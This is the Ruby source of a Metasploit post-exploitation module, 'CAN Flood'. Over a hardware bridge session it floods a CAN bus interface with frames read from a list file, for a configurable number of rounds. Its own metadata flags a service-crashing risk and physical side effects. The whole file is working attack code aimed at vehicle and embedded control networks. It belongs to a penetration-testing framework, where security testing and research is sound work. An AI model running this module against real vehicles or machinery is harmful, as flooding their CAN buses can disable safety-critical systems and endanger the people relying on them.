1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  DEFAULT_FRAMELIST = File.join(Msf::Config.data_directory, 'wordlists', 'can_flood_frames.txt')
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'CAN Flood',
15
        'Description' => 'This module floods a CAN interface with supplied frames.',
16
        'Author' => 'Pietro Biondi',
17
        'License' => MSF_LICENSE,
18
        'Platform' => 'hardware',
19
        'SessionTypes' => ['hwbridge'],
20
        'Notes' => {
21
          'Stability' => [CRASH_SERVICE_DOWN],
22
          'SideEffects' => [PHYSICAL_EFFECTS],
23
          'Reliability' => []
24
        }
25
      )
26
    )
27

28
    register_options([
29
      OptString.new('CANBUS', [true, 'CAN interface']),
30
      OptString.new('FRAMELIST', [true, 'Path to frame list file', DEFAULT_FRAMELIST]),
31
      OptInt.new('ROUNDS', [true, 'Number of executed rounds', 200])
32
    ])
33
  end
34

35
  def run
36
    unless File.exist?(datastore['FRAMELIST'])
37
      print_error("Frame list file '#{datastore['FRAMELIST']}' does not exist")
38
      return
39
    end
40

41
    vprint_status("Reading frame list file: #{datastore['FRAMELIST']}")
42
    frames = File.readlines(datastore['FRAMELIST']).map { |line| line.strip.split('+') }
43

44
    print_status(' -- FLOODING -- ')
45
    datastore['ROUNDS'].times do
46
      frames.each { |frame| client.automotive.cansend(datastore['CANBUS'], frame[0], frame[1]) }
47
    end
48
  end
49

50
end
51

52